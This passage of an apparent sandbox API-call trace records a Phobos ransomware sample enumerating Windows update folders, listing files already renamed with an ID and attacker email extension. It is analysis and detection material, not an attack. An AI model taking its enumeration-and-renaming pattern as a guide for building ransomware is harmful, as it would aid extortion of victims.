lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.964] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb6c4f1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecb6c4f1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecbdeca4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DOWNLE~1.PHO")) returned 1 [0131.964] GetLastError () returned 0x0 [0131.964] SetLastError (dwErrCode=0x0) [0131.964] GetLastError () returned 0x0 [0131.964] SetLastError (dwErrCode=0x0) [0131.964] GetLastError () returned 0x0 [0131.964] SetLastError (dwErrCode=0x0) [0131.964] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.966] SetLastError (dwErrCode=0x0) [0131.966] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.967] SetLastError (dwErrCode=0x0) [0131.967] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.968] GetLastError () returned 0x0 [0131.968] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] GetLastError () returned 0x0 [0131.970] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.971] SetLastError (dwErrCode=0x0) [0131.971] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.972] SetLastError (dwErrCode=0x0) [0131.972] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] GetLastError () returned 0x0 [0131.974] SetLastError (dwErrCode=0x0) [0131.974] GetLastError () returned 0x0 [0131.974] SetLastError (dwErrCode=0x0) [0131.974] GetLastError () returned 0x0 [0131.974] SetLastError (dwErrCode=0x0) [0131.974] GetLastError () returned 0x0 [0131.974] SetLastError (dwErrCode=0x0) [0131.974] GetLastError () returned 0x0 [0131.979] SetLastError (dwErrCode=0x0) [0131.979] GetLastError () returned 0x0 [0131.979] SetLastError (dwErrCode=0x0) [0131.979] GetLastError () returned 0x0 [0131.979] SetLastError (dwErrCode=0x0) [0131.979] GetLastError () returned 0x0 [0131.979] SetLastError (dwErrCode=0x0) [0131.979] GetLastError () returned 0x0 [0131.979] SetLastError (dwErrCode=0x0) [0131.979] GetLastError () returned 0x0 [0131.979] SetLastError (dwErrCode=0x0) [0131.979] GetLastError () returned 0x0 [0131.979] SetLastError (dwErrCode=0x0) [0131.979] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.980] GetLastError () returned 0x0 [0131.980] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.981] SetLastError (dwErrCode=0x0) [0131.981] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.982] SetLastError (dwErrCode=0x0) [0131.982] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.983] GetLastError () returned 0x0 [0131.983] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.984] SetLastError (dwErrCode=0x0) [0131.984] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.985] SetLastError (dwErrCode=0x0) [0131.985] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] GetLastError () returned 0x0 [0131.986] SetLastError (dwErrCode=0x0) [0131.986] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbb8aba, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbb8aba, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc2b066, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="OOBE_2~1.PHO")) returned 1 [0131.986] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbdeca4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbdeca4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc04f50, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0131.987] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbdeca4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbdeca4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc04f50, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 0 [0131.987] FindClose (in: hFindFile=0x739168 | out: hFindFile=0x739168) returned 1 [0131.987] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0131.987] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0131.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0131.988] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.988] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9d90a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc9d90a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecd41c6e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="GETCUR~1.PHO")) returned 1 [0131.988] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccc3a6f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeccc3a6f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecce9c9a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="GETCUR~2.PHO")) returned 1 [0131.988] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc776bf, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc776bf, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc9d90a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0131.988] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccc3a6f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeccc3a6f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeccc3a6f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PREOOB~1.PHO")) returned 1 [0131.988] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecda89dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecda89dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecda89dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 1 [0131.989] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecda89dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecda89dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecda89dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 0 [0131.989] FindClose (in: hFindFile=0x7393e8 | 